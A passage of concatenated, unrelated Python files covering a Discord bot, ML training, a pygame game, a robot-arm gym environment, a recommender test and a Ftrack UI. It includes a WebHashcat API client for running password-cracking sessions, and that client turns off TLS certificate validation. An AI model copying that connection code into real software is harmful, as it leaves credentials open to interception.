+{"seq_id":"401851688","text":"#!/usr/bin/python3\nimport asyncio\nimport datetime\n\nimport discord\nfrom discord.ext import commands\n\nimport BotFunctions as bf\nimport FuelTracker\nimport FuzzworksFunctions as Fzw\nimport ZkillFunctions as Zkbf\n\n# get token from file\ntokenFile = open('token', 'r')\ntoken = tokenFile.read()\n# strip off any training whitespaces or newlines from end of file\ntoken = token.rstrip()\nbot = commands.Bot(command_prefix='!')\n\nfuel_tracker = FuelTracker.FuelTracker()\n\nonline_time = datetime.datetime.now()\n\n# bot channel ID\nchannel = discord.Object(id='449651065051283476')\n\n\nalertRunning = False\n\n\n@bot.event\nasync def on_ready():\n    print('Logged in as')\n    print(bot.user.name)\n    print(bot.user.id)\n    print(bf.roll_out_init())\n    print('------')\n\n\n@bot.command()\nasync def ping(ctx):\n    await ctx.send(\"pong\")\n\n\n@bot.command()\nasync def upTime(ctx):\n    await ctx.send(\"Online for: \" + str(datetime.datetime.now() - online_time))\n\n# zkill related functions\n\n\n@bot.command()\nasync def kills(ctx, *, corp_name):\n    await ctx.send(Zkbf.get_corp_current_month_stats(corp_name))\n\n\n@bot.command()\nasync def ships(ctx, amount: int, *, corp_name):\n    await ctx.send(Zkbf.get_killer_summary(amount, corp_name))\n\n\n@bot.command()\nasync def stats(ctx, *, corp_name):\n    await ctx.send(Zkbf.get_fleet_size_stats(corp_name))\n\n\n@bot.command()\nasync def rankings(ctx):\n    await ctx.send(bf.get_ranked_isk_killed())\n\n\n@bot.command()\nasync def intel(ctx, *, corp_name):\n    await ctx.send(Zkbf.get_intel(corp_name))\n\n\n@bot.command()\nasync def fit(ctx, ship: str, *, corp):\n    await ctx.send(Zkbf.get_last_fit(ship, corp))\n\n\n# market functions\n\n\n@bot.command()\nasync def pc(ctx, *, a):\n    await ctx.send(Fzw.get_item_value(a))\n\n\n@bot.command()\nasync def fuel(ctx):\n    await ctx.send(Fzw.get_fuel_prices())\n\n# Fuel commands **********************************************\n\n\n@bot.command()\nasync def addStructure(ctx, name: str, consumption):\n    await ctx.send(fuel_tracker.add_structure(name, consumption))\n\n\n@bot.command()\nasync def updateStructure(ctx, name: str, consumption):\n    await ctx.send(fuel_tracker.update_structure(name, consumption))\n\n\n@bot.command()\nasync def listStructures(ctx):\n    await ctx.send(fuel_tracker.list_structures())\n\n\n@bot.command()\nasync def updateFuel(ctx, name: str, amount):\n    await ctx.send(fuel_tracker.update_fuel(name, amount))\n\n\n@bot.command()\nasync def fuelReport(ctx):\n    await ctx.send(fuel_tracker.fuel_status())\n\n\n# background fuel checker\n@bot.command()\n@commands.has_role(\"Director\")\nasync def fuelAlert(ctx):\n    while True:\n\n        output = fuel_tracker.fuel_status()\n        await ctx.send(output)\n\n        now = datetime.datetime.now()\n        target_time = datetime.timedelta(microseconds=-now.microsecond,\n                                         seconds=-now.second,\n                                         minutes=-now.minute,\n                                         hours=15 - now.hour)\n        if now.hour > 15:\n            target_time += datetime.timedelta(days=1)\n\n        await asyncio.sleep(target_time.seconds)\n\n# Rollout Tracker ---------------------------------\n\n\n@bot.command()\nasync def rolled(ctx, name: str):\n    await ctx.send(bf.update_rolled_out(name))\n\n\n@bot.command()\nasync def lastRolled(ctx):\n    await ctx.send(bf.get_rolled_out_date())\n\n\n# ping-command -----------------------------------\n@bot.command()\nasync def batphone(ctx, ping_text):\n    target_channel = \"440447527905394689\"\n    # await ctx.send(\"Ping Sending\")\n    ctx.send_message(discord.Object(id=target_channel), \"@everyone \" + ping_text)\n    # await ctx.send(\"Ping Sent\")\n\n\n@bot.event\nasync def on_command_error(ctx, error):\n    if isinstance(error, commands.CommandNotFound):\n        print(\"Command Not Found\")\n        bot.send_message(channel, \"Command Not Found\")\n        return\n\n\n\n\nbot.run(token)\n","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":3836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"27028234","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\n\nfrom Model.Attention import Attention\nfrom Model.Decoder import Decoder\nfrom Model.Encoder import Encoder\nfrom Model.Seq2Seq import Seq2Seq\nfrom Utilities.Constants import *\nfrom Utilities.Convert import strings_to_index_tensor\nfrom Utilities.NameDS import NameDataset\n\nBATCH_SZ = 256\nEPOCH = 1000\nPLOT_EVERY = 2\nINPUT_DIM = len(ENCODER_INPUT)\nOUTPUT_DIM = len(DECODER_INPUT)\nEMBED_DIM = 5\nHIDD_DIM = 512\nDROPOUT = 0.5\nCLIP = 1\nLR = 0.005\nSRC_PAD_IDX = ENCODER_INPUT['']\nTRG_PAD_IDX = DECODER_INPUT['']\n\n\ndef plot_losses(loss, folder: str = \"Results\", filename: str = None):\n    x = list(range(len(loss)))\n    plt.plot(x, loss, 'b--', label=\"Cross Entropy Loss\")\n    plt.title(\"Losses\")\n    plt.xlabel(\"Epoch\")\n    plt.ylabel(\"Loss\")\n    plt.legend(loc='upper left')\n    plt.savefig(f\"{folder}/{filename}\")\n    plt.close()\n\n\ndef run_epochs(model: Seq2Seq, iterator: DataLoader, optimizer: torch.optim.Optimizer,\n               criterion: torch.nn.CrossEntropyLoss, clip: int):\n    total_loss = 0\n    all_losses = []\n    for i in range(EPOCH):\n        loss = train(model, iterator, optimizer, criterion, clip)\n        total_loss += loss\n\n        if i % PLOT_EVERY == 0:\n            all_losses.append(total_loss / PLOT_EVERY)\n            plot_losses(all_losses, filename=\"test\")\n\n\ndef train(model: Seq2Seq, iterator: DataLoader, optimizer: torch.optim.Optimizer, criterion: torch.nn.CrossEntropyLoss,\n          clip: int):\n    model.train()\n    epoch_loss = 0\n\n    for x in iterator:\n        optimizer.zero_grad()\n\n        max_len = len(max(x, key=len))\n        src, src_len = strings_to_index_tensor(x, max_len, ENCODER_INPUT, SRC_PAD_IDX)\n        trg, _ = strings_to_index_tensor(x, max_len, DECODER_INPUT, TRG_PAD_IDX)\n        sos_tensor = torch.ones(1, len(x)).type(torch.LongTensor).to(DEVICE) * ENCODER_INPUT['']\n\n        output = model(src, src_len, trg, sos_tensor)\n        # trg = [trg len, batch size]\n        # output = [trg len, batch size, output dim]\n\n        output_dim = output.shape[-1]\n        output = output[1:].view(-1, output_dim)\n        trg = trg[1:].view(-1)\n        # trg = [(trg len - 1) * batch size]\n        # output = [(trg len - 1) * batch size, output dim]\n\n        loss = criterion(output, trg)\n        loss.backward()\n        torch.nn.utils.clip_grad_norm_(model.parameters(), clip)\n        optimizer.step()\n\n    return loss.item()\n\n\ndef evaluate(model, iterator, criterion):\n    model.eval()\n    epoch_loss = 0\n\n    with torch.no_grad():\n        for i, batch in enumerate(iterator):\n            src, src_len = batch.src\n            trg = batch.trg\n\n            output = model(src, src_len, trg, 0)\n            # turn off teacher forcing\n            # trg = [trg len, batch size]\n            # output = [trg len, batch size, output dim]\n\n            output_dim = output.shape[-1]\n            output = output[1:].view(-1, output_dim)\n            trg = trg[1:].view(-1)\n            # trg = [(trg len - 1) * batch size]\n            # output = [(trg len - 1) * batch size, output dim]\n\n            loss = criterion(output, trg)\n            epoch_loss += loss.item()\n\n    return epoch_loss / len(iterator)\n\n\ndf = pd.read_csv('Data/first.csv')\nname_ds = NameDataset(df, \"name\")\ndl = DataLoader(name_ds, batch_size=BATCH_SZ, shuffle=True)\n\nattention = Attention(HIDD_DIM, HIDD_DIM)\nencoder = Encoder(INPUT_DIM, EMBED_DIM, HIDD_DIM, HIDD_DIM, DROPOUT)\ndecoder = Decoder(OUTPUT_DIM, EMBED_DIM, HIDD_DIM, HIDD_DIM, DROPOUT, attention)\n\nmodel = Seq2Seq(encoder, decoder, SRC_PAD_IDX, DEVICE).to(DEVICE)\n\noptimizer = optim.Adam(model.parameters(), lr=LR)\ncriterion = nn.CrossEntropyLoss(ignore_index=TRG_PAD_IDX)\n\nrun_epochs(model, dl, optimizer, criterion, CLIP)\n","sub_path":"Train.py","file_name":"Train.py","file_ext":"py","file_size_in_byte":3906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"121417525","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom sqlalchemy import *\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.ext.declarative import declarative_base\n\nfrom settings import DATABASE\n\n\nclass ORM(object):\n    Base = declarative_base()\n    engine = None\n    Session = sessionmaker()\n\n    @staticmethod\n    def init():\n        ORM.engine = create_engine(DATABASE)\n        ORM.engine.execute(\"select 1\")\n        ORM.Base.metadata.create_all(ORM.engine)\n        ORM.Session.configure(bind=ORM.engine)\n\n    @staticmethod\n    def session():\n        return ORM.Session()\n\n\nclass File(ORM.Base):\n    __tablename__ = 'file'\n    id = Column(String, primary_key=True)\n    name = Column(String, nullable=False)\n    hash = Column(String)\n    filesize = Column(BigInteger)\n    isdir = Column(Boolean)\n    date = Column(DateTime)\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"243515685","text":"import socket\nimport http.client\nimport ssl\n#from urllib.request import Request, urlopen\nimport struct\nimport json\nimport base64\n\nclass HashcatAPI(object):\n\n    def __init__(self, ip, port, username, password):\n        self.ip = ip\n        self.port = port\n        self.key = base64.b64encode((\"%s:%s\" % (username, password)).encode(\"ascii\")).decode(\"ascii\")\n\n    def get_hashcat_info(self):\n        return self.send(\"/hashcatInfo\")\n\n    def create_rule_session(self, session_name, hash_type_id, rule, wordlist, hashes, username_included):\n        payload = {\n            \"name\": session_name,\n            \"crack_type\": \"rule\",\n            \"hash_mode_id\": hash_type_id,\n            \"rule\": rule,\n            \"wordlist\": wordlist,\n            \"hashes\": hashes,\n            \"username_included\": username_included,\n        }\n\n        return self.send(\"/createSession\", data=payload)\n\n    def create_mask_session(self, session_name, hash_type_id, mask, hashes, username_included):\n        payload = {\n            \"name\": session_name,\n            \"crack_type\": \"mask\",\n            \"hash_mode_id\": hash_type_id,\n            \"mask\": mask,\n            \"hashes\": hashes,\n            \"username_included\": username_included,\n        }\n\n        return self.send(\"/createSession\", data=payload)\n\n\n    def action(self, session_name, action):\n        payload = {\n            \"session\": session_name,\n            \"action\": action,\n        }\n\n        return self.send(\"/action\", data=payload)\n\n    def get_session_info(self, session_name):\n        return self.send(\"/sessionInfo/%s\" % session_name)\n\n    def remove(self, session_name):\n        return self.send(\"/removeSession/%s\" % session_name)\n\n    def get_cracked_file(self, session_name):\n        return self.send(\"/cracked/%s\" % session_name)\n\n    def get_hashcat_output(self, session_name):\n        return self.send(\"/hashcatOutput/%s\" % session_name)\n\n    def get_hashes(self, session_name):\n        return self.send(\"/hashes/%s\" % session_name)\n\n\n    def upload_rule(self, name, rule_file):\n        payload = {\n            \"name\": name,\n            \"rules\": rule_file,\n        }\n\n        return self.send(\"/uploadRule\", data=payload)\n\n    def upload_mask(self, name, mask_file):\n        payload = {\n            \"name\": name,\n            \"masks\": mask_file,\n        }\n\n        return self.send(\"/uploadMask\", data=payload)\n\n    def upload_wordlist(self, name, wordlist_file):\n        payload = {\n            \"name\": name,\n            \"wordlists\": wordlist_file,\n        }\n\n        return self.send(\"/uploadWordlist\", data=payload)\n\n    def send(self, url, data=None):\n        headers = {\n            \"Content-Type\": \"text/plain; charset=utf-8\",\n            \"Accept-Encoding\": \"text/plain\",\n            \"Authorization\": \"Basic %s\" % self.key,\n        }\n\n        gcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1)  # disable certif validation\n        conn = http.client.HTTPSConnection(self.ip, self.port, context=gcontext)\n\n        if data == None:\n            conn.request(\"GET\", url, headers=headers)\n        else:\n            conn.request(\"POST\", url, \"%s\\r\\n\\r\\n\" % json.dumps(data), headers)\n\n        res = conn.getresponse()\n\n        data = res.read()\n\n        conn.close()\n        return json.loads(data.decode(\"ascii\"))\n\n","sub_path":"WebHashcat/Utils/hashcatAPI.py","file_name":"hashcatAPI.py","file_ext":"py","file_size_in_byte":3265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"547965866","text":"# Rects Fight\n\nimport pygame\nimport os\nimport time\nfrom pygame.math import Vector2\n\n\nprint('''\n  _ _ _ _ _\n |  _   _  |\n | | | | | |\n | |_| |_| |\n |   1.1   |\n |_ _ _ _ _|\n''')\n\n# Init\n\npygame.init()\nscreen = pygame.display.set_mode((500, 500))\nplayarea = pygame.Rect(5, 5, 490, 490)\nblack = (0, 0, 0)\nwhite = (255, 255, 255)\ngrey = (192, 192, 192)\nvel_reset = 0\nvel = 8\nleft_vel = (-8, 0)\nright_vel = (8, 0)\nup_vel = (0, -8)\ndown_vel = (0, 8)\n\n        \n# Loading media\n\nbluestage1 = pygame.image.load(os.path.join('media', 'blue1.png')).convert_alpha()\nbluestage2 = pygame.image.load(os.path.join('media', 'blue2.png')).convert_alpha()\nbluestage3 = pygame.image.load(os.path.join('media', 'blue3.png')).convert_alpha()\norangestage1 = pygame.image.load(os.path.join('media', 'orange1.png')).convert_alpha()\norangestage2 = pygame.image.load(os.path.join('media', 'orange2.png')).convert_alpha()\norangestage3 = pygame.image.load(os.path.join('media', 'orange3.png')).convert_alpha()\nbluebullet = pygame.image.load(os.path.join('media', 'bulletblue.png')).convert_alpha()\norangebullet = pygame.image.load(os.path.join('media', 'bulletorange.png')).convert_alpha()\nstartlogo = pygame.image.load(os.path.join('media', 'startscreen.png')).convert_alpha()\npausescreen = pygame.image.load(os.path.join('media', 'paused.png')).convert_alpha()\nwindowicon = pygame.image.load(os.path.join('media', 'icon.png')).convert_alpha()\n\npausesound = pygame.mixer.Sound(os.path.join('media', 'pause.wav'))\nshootsound = pygame.mixer.Sound(os.path.join('media', 'shoot.wav'))\nhitsound = pygame.mixer.Sound(os.path.join('media', 'hit.wav'))\ndiesound = pygame.mixer.Sound(os.path.join('media', 'die.wav'))\nfightsound = pygame.mixer.Sound(os.path.join('media', 'fight.wav'))\n\npygame.display.set_caption('Rects Fight!')\npygame.display.set_icon(windowicon)\n    \n# Player Sprite\n\nclass Player(pygame.sprite.Sprite):\n\n    def __init__(self, pos, enemy_bullets, image, *groups):\n\n        super().__init__(*groups)\n\n        self.image = image\n        self.rect = self.image.get_rect(center=pos)\n        self.vel = Vector2(0, 0)\n        self.pos = Vector2(pos)\n        self.fire_direction = (8, 0)\n        self.health = 3\n        self.enemy_bullets = enemy_bullets\n        self.toggle = False\n\n    # Checking for collisions\n    \n    def update(self):\n        self.pos += self.vel\n        self.rect.center = self.pos\n        self.rect.clamp_ip(playarea)\n        \n        collided_bullets = pygame.sprite.spritecollide(self, self.enemy_bullets, True)\n        for bullet in collided_bullets:\n            self.health -= 1\n            hitsound.play()\n            if self.health <= 0:\n                self.kill()\n                self.toggle = True\n                diesound.play()\n        \n# Bullet Sprite\n\nclass Bullet(pygame.sprite.Sprite):\n\n    def __init__(self, pos, vel, image):\n\n        super().__init__()\n\n        self.image = image\n        self.rect = self.image.get_rect(center=pos)\n        self.pos = pos\n        self.vel = vel\n        self.toggle = False\n\n    def update(self):\n        if self.toggle == False:\n            self.pos += self.vel\n            self.rect.center = self.pos\n            \n            if not playarea.contains(self):\n                self.kill()\n\n    def stop(self):\n        self.toggle = True\n\n    def start(self):\n        self.toggle = False\n    \n# Start Screen\n\ndef start():\n    startScreen=False\n    pygame.display.set_caption('Rects Fight!')\n    \n    while startScreen == False:\n        \n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                pygame.quit()\n                \n            if event.type == pygame.KEYDOWN:\n\n                if event.key == pygame.K_SPACE:              \n                    startScreen = True\n                elif event.key == pygame.K_ESCAPE:\n                    pygame.quit()\n                    \n        screen.fill(black)           \n        screen.blit(startlogo, (0, 0))\n        \n        pygame.display.flip()\n\n# ----- Main Game -----\ndef main():\n    \n    # Defining Variables\n        \n    screen = pygame.display.set_mode((500, 500))\n    clock = pygame.time.Clock()\n    all_sprites = pygame.sprite.Group()\n    bullets1 = pygame.sprite.Group()\n    bullets2 = pygame.sprite.Group()\n    player1 = Player((35, 35), bullets2, bluestage1, all_sprites)\n    player2 = Player((465, 465), bullets1, orangestage1, all_sprites)\n    confirm = False\n    onStart = True\n    loop = True\n\n        \n# ---- Game loop -----\n    while loop:\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                loop = False\n            # Keymap  \n            if event.type == pygame.KEYDOWN:\n\n                # Player 1 Shooting\n                \n                if event.key == pygame.K_e and player1.toggle == False:\n                    bullet = Bullet(player1.rect.center, Vector2(player1.fire_direction), bluebullet)\n                    shootsound.play()\n                    bullets1.add(bullet)\n                    all_sprites.add(bullet)\n                    \n                # Player 2 Shooting\n                \n                if event.key == pygame.K_SPACE and player2.toggle == False:\n                    bullet = Bullet(player2.rect.center, Vector2(player2.fire_direction), orangebullet)\n                    shootsound.play()\n                    bullets2.add(bullet)\n                    all_sprites.add(bullet)\n\n                # Player 1 Movement\n\n                if event.key == pygame.K_d and player1.toggle == False:\n                    player1.vel.x = 5\n                    player1.fire_direction = (vel, 0)\n\n                if event.key == pygame.K_a and player1.toggle == False:\n                    player1.vel.x = -5\n                    player1.fire_direction = (-vel, 0)\n                    \n                if event.key == pygame.K_s and player1.toggle == False:\n                    player1.vel.y = 5\n                    player1.fire_direction = (0, vel)\n\n                if event.key == pygame.K_w and player1.toggle == False:\n                    player1.vel.y = -5\n                    player1.fire_direction = (0, -vel)\n                \n                # Player 2 Movement\n                \n                if event.key == pygame.K_RIGHT and player2.toggle == False:\n                    player2.vel.x = 5\n                    player2.fire_direction = (vel, 0)\n\n                if event.key == pygame.K_LEFT and player2.toggle == False:\n                    player2.vel.x = -5\n                    player2.fire_direction = (-vel, 0)\n\n                if event.key == pygame.K_DOWN and player2.toggle == False:\n                    player2.vel.y = 5\n                    player2.fire_direction = (0, vel)\n\n                if event.key == pygame.K_UP and player2.toggle == False:\n                    player2.vel.y = -5\n                    player2.fire_direction = (0, -vel)\n\n                # Toggling off movement\n            if event.type == pygame.KEYUP:\n\n                # Player 1 Toggles\n\n                if event.key == pygame.K_d:\n                    player1.vel.x = vel_reset\n\n                if event.key == pygame.K_a:\n                    player1.vel.x = vel_reset\n\n                if event.key == pygame.K_s:\n                    player1.vel.y = vel_reset\n\n                if event.key == pygame.K_w:\n                    player1.vel.y = vel_reset\n\n                # Player 2 Toggles\n\n                if event.key == pygame.K_RIGHT:\n                    player2.vel.x = vel_reset\n\n                if event.key == pygame.K_LEFT:\n                    player2.vel.x = vel_reset\n\n                if event.key == pygame.K_DOWN:\n                    player2.vel.y = vel_reset\n\n                if event.key == pygame.K_UP:\n                    player2.vel.y = vel_reset\n                    \n        # Main Game Logic\n        \n        if onStart == True:\n            fightsound.play()\n            onStart = False\n            \n        keys = pygame.key.get_pressed()\n\n        if keys[pygame.K_TAB] and confirm == False:\n            pausesound.play()\n            player1.toggle = True\n            player2.toggle = True\n            confirm = True\n            for bullet in bullets1:\n                bullet.stop()\n                \n            for bullet in bullets2:\n                bullet.stop()\n            \n        if keys[pygame.K_ESCAPE] and confirm == True:\n            loop = False\n            \n        elif keys[pygame.K_LSHIFT] and confirm == True:\n            confirm = False\n            player1.toggle = False\n            player2.toggle = False\n            for bullet in bullets1:\n                bullet.start()\n                \n            for bullet in bullets2:\n                bullet.start()\n\n        if player1.health == 2:\n            player1.image = bluestage2\n            \n        elif player1.health == 1:\n             player1.image = bluestage3\n            \n        elif player1.health == 0:\n            pygame.display.set_caption('Orange Wins!')\n            \n            if keys[pygame.K_ESCAPE] and confirm == False:\n                loop = False\n\n        if player2.health == 2:\n            player2.image = orangestage2\n            \n        elif player2.health == 1:\n            player2.image = orangestage3\n                    \n        elif player2.health == 0:   \n            pygame.display.set_caption('Blue Wins!')                        \n            \n            if keys[pygame.K_ESCAPE] and confirm == False:\n                loop = False               \n\n        if player1.health == 0 and player2.health == 0:\n            pygame.display.set_caption('They destroyed eachother!')\n            \n        # Drawing Code\n        \n        all_sprites.update()\n        screen.fill(black)\n        if confirm == True:\n            screen.blit(pausescreen, (145, 210))\n            \n        pygame.draw.rect(screen, grey, pygame.Rect(0, 0, 500, 5))\n        pygame.draw.rect(screen, grey, pygame.Rect(0, 0, 5, 500))\n        pygame.draw.rect(screen, grey, pygame.Rect(0, 495, 500, 5))\n        pygame.draw.rect(screen, grey, pygame.Rect(495, 0, 5, 500))\n        all_sprites.draw(screen)\n        \n        pygame.display.flip()\n        clock.tick(60)\n        \n# Game Sequence\n\nif __name__ == '__main__':\n    start()\n    main()\n    pygame.quit()\n\n# ~SnivyDroid\n\n\n                \n                \n","sub_path":"Rects Fight Archive/Rects Fight + Python install/Rects Fight! 1.1/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":10297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"351909992","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\nhits = np.genfromtxt('hitmap.txt', unpack=True)\r\nkanal = np.arange(1, 129,1)\r\n\r\nprint(hits)\r\nprint(kanal)\r\n\r\nplt.bar(kanal, hits, color='mediumslateblue')\r\nplt.xlabel(r'Kanalnummer')\r\nplt.ylabel(r'Häufigkeit')\r\nplt.yscale('log')\r\nplt.xlim(0,129)\r\nplt.savefig('hitmap.pdf')\r\n","sub_path":"Si_Streifensensor/plots/Grosser_Quellenscan/hitmap.py","file_name":"hitmap.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"172388033","text":"import numpy as np\nimport gym\nfrom nuro_arm import RobotArm\n\n\nclass GridWorldEnv(gym.Env):\n    def __init__(self,\n                 mode='sim',\n                 n_grids=10,\n                 seed=None,\n                 ):\n        self.seed(seed)\n\n        self.n_grids = n_grids\n        self.observation_space = gym.spaces.Box(0, n_grids, (2,), dtype=int)\n\n        self.robot = RobotArm(mode)\n\n        x_range = np.linspace(0.1, 0.3, self.n_grids)\n        y_range = np.linspace(-0.1, 0.1, self.n_grids)\n        z_val = 0.05\n        self.grid_positions = np.dstack(np.meshgrid(x_range, y_range, [z_val]))\n\n        # move in cardinal directions and noop\n        self.action_deltas = ((0, 0), (1, 0), (0, 1), (-1, 0), (0, 1))\n        self.action_space = gym.spaces.Discrete(5)\n\n        self.goal = np.array((self.n_grids-1, self.n_grids-1))\n\n    def reset(self):\n        self.state = np.array((1, 1))\n\n        return self.get_obs()\n\n    def step(self, a):\n        assert self.action_space.contains(a)\n\n        new_state = np.add(self.state, self.action_deltas[a])\n        self.state = np.clip(new_state, 0, self.n_grids-1)\n\n        self.move_hand_to_state(self.state)\n\n        obs = self.get_obs()\n        reward = (self.state == self.goal).all()\n        done = reward\n        info = {}\n\n        return obs, reward, done, info\n\n    def get_obs(self):\n        return self.state.copy()\n\n    def move_hand_to_state(self, state):\n        pos = self.grid_positions[state[0], state[1]]\n        self.robot.move_hand_to(pos)\n\n","sub_path":"nuro_arm/examples/gym_envs/grid_world_env.py","file_name":"grid_world_env.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"385819576","text":"from utils.data_util import load_ml_1m\nimport pandas as pd\nimport numpy as np\nfrom tqdm import tqdm\nfrom utils.data_util import build_dictionary, extract_test_df\nfrom CF.CF_model import cal_item_similarity,cal_user_similarity,UserCF_prediction,ItemCF_prediction\nfrom sklearn.metrics import mean_squared_error\n\n\ndef predict(test_user_id_list, test_item_id_list, test_rating_list, CF_F,\n            item_user_dic, user_item_dic, item_map_dic,similarity,user_item_matrix_np,k_num_list):\n    loss_list = []\n    for K in tqdm(k_num_list):\n        pred_rating_list = []\n        for num in range(len(test_user_id_list)):  # (2:41,k=3) (1:11与1:03)\n            pred_rating_list.append(CF_F(test_user_id_list[num],\n                                         test_item_id_list[num],\n                                         item_user_dic, user_item_dic,\n                                         item_map_dic,\n                                         similarity,\n                                         user_item_matrix_np,\n                                         K_num=K))\n        MSE_loss = mean_squared_error(test_rating_list, pred_rating_list)\n        loss_list.append(MSE_loss)\n    return loss_list\n\n\nif __name__ == \"__main__\":\n    path = './data/'\n    train_df = pd.read_csv(path + 'train_df.csv')\n    test_df = pd.read_csv(path + 'test_df.csv')\n    user_item_matrix = pd.read_csv(path + 'user_item_matrix.csv')\n    user_item_matrix_np = user_item_matrix.values\n    user_item_dic, item_user_dic = build_dictionary(train_df)\n    test_user_id_list, test_item_id_list, test_rating_list = extract_test_df(test_df)\n    item_id_list = user_item_matrix.columns\n    item_map_dic = {}  # 用于用户评分矩阵是无序的,建立item_id-->index的映射\n    for i, col_id in enumerate(item_id_list):\n        item_map_dic[int(col_id)] = i\n\n    user_similarity = cal_user_similarity(user_item_dic,item_user_dic,user_item_matrix)\n    item_similarity = cal_item_similarity(user_item_dic, item_user_dic, user_item_matrix, item_map_dic)\n    print(user_similarity.shape)\n    print(item_similarity.shape)\n    k_num_list = [5,10,15,20,25,30,45]     # 最为相似的用户/物品数目K\n    MSE_list_user = predict(test_user_id_list, test_item_id_list, test_rating_list, UserCF_prediction,\n                            item_user_dic, user_item_dic, item_map_dic,\n                            user_similarity, user_item_matrix_np,\n                            k_num_list)\n    MSE_list_item = predict(test_user_id_list, test_item_id_list, test_rating_list, ItemCF_prediction,\n                            item_user_dic, user_item_dic, item_map_dic,\n                            item_similarity, user_item_matrix_np,\n                            k_num_list)\n    print(\"User CF MSE:\")\n    print(MSE_list_user)\n    print(\"Item CF MSE:\")\n    print(MSE_list_item)","sub_path":"recommend_system_homework/01_UserCF_ItemCF_MF/CF_MF_homework/CF_test.py","file_name":"CF_test.py","file_ext":"py","file_size_in_byte":2834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"453375323","text":"import os\nfrom PySide import QtCore, QtGui\nfrom BrowseTasks import Ui_BrowseTasks\nimport ftrack\ntry:\n    from ftrackplugin.ftrackConnector import HelpFunctions\nexcept:\n    pass\n\n\nclass BrowseTasksItem(QtGui.QStandardItem):\n    def __init__(self, text, version=False):\n        QtGui.QStandardItem.__init__(self, text)\n        self.version = version\n\n    def __lt__(self, other):\n        if self.version:\n            return QtGui.QStandardItem.__lt__(self, other)\n        else:\n            return QtGui.QStandardItem.__lt__(self, other)\n\n\nclass BrowseTasksWidget(QtGui.QWidget):\n    clickedIdSignal = QtCore.Signal(str, name='clickedIdSignal')\n\n    def __init__(self, parent, task=None, startId=None, browseMode='Shot'):\n        QtGui.QWidget.__init__(self, parent)\n        self.ui = Ui_BrowseTasks()\n        self.ui.setupUi(self)\n        self.parentIds = []\n\n        self.browseMode = browseMode\n        self.showShots = True\n\n        self.currentPath = None\n\n        if startId:\n            self.startId = startId\n            self.setStartId(startId)\n        else:\n            self.startId = None\n\n        self.ui.horizontalLayout.setContentsMargins(0, 0, 0, 0)\n        self.ui.verticalLayout.setContentsMargins(0, 0, 0, 0)\n        self.currentId = None\n        \n        self.ui.BrowseTasksViewModel = QtGui.QStandardItemModel()\n\n        self.ui.BrowseTasksSelectionModel = QtGui.QItemSelectionModel(self.ui.BrowseTasksViewModel)\n\n        self.ui.BrowseProjectComboBoxModel = QtGui.QStandardItemModel()\n        self.ui.BrowseProjectComboBox.setModel(self.ui.BrowseProjectComboBoxModel)\n\n        itemProjCombo = BrowseTasksItem('Show All')\n        itemProjCombo.id = ''\n        itemProjCombo.type = 'show'\n\n        self.ui.BrowseProjectComboBoxModel.appendRow(itemProjCombo)\n\n        projects = ftrack.getProjects()\n        filterOnThis = ''\n        projects = sorted(projects, key=lambda a: a.getName().lower())\n        for proj in projects:\n            projName = '[' + proj.getName() + '] ' + proj.getFullName()\n            projId = proj.getId()\n            projType = 'show'\n\n            itemProj = BrowseTasksItem(projName)\n            itemProj.id = projId\n            itemProj.type = projType\n\n            self.ui.BrowseTasksViewModel.appendRow(itemProj)\n\n            itemProjCombo = BrowseTasksItem(projName)\n            itemProjCombo.id = projId\n            itemProjCombo.type = projType\n\n            self.ui.BrowseProjectComboBoxModel.appendRow(itemProjCombo)\n\n            shot = ftrack.Task(os.environ['FTRACK_SHOTID'])\n            proj_root = shot.getProject().getName()\n\n            if proj_root == proj.getName():\n                self.ui.BrowseProjectComboBox.setCurrentIndex(self.ui.BrowseProjectComboBoxModel.rowCount() - 1)\n                filterOnThis = projName\n\n        self.setProjectFilter(filterOnThis)\n\n        self.ui.BrowseTasksTreeView.setModel(self.ui.BrowseTasksViewModel)\n        self.ui.BrowseTasksTreeView.setSelectionModel(self.ui.BrowseTasksSelectionModel)\n        self.ui.BrowseTasksTreeView.setSortingEnabled(False)\n        \n        if startId:\n            self.currentId = startId\n\n    @QtCore.Slot(QtCore.QModelIndex, bool)\n    def updateAssetView(self, modelindex, updateCurrentPath=True):\n        clickedItem = self.ui.BrowseTasksViewModel.itemFromIndex(modelindex)\n        expand = None\n        select = None\n        \n        if clickedItem.type == 'show':\n            clickedTask = ftrack.Project(clickedItem.id)\n        elif clickedItem.type == 'task':\n            clickedTask = ftrack.Task(clickedItem.id)\n        elif clickedItem.type == 'asset':\n            clickedTask = ftrack.Asset(clickedItem.id)\n        elif clickedItem.type == 'asset_version':\n            clickedTask = ftrack.AssetVersion(clickedItem.id)\n        elif clickedItem.type == 'assettake':\n            clickedTask = ftrack.Component(clickedItem.id)\n        else:\n            pass\n        try:\n            clickedObjectType = clickedTask.getObjectType()\n        except:\n            clickedObjectType = 'Unset'\n\n        if not 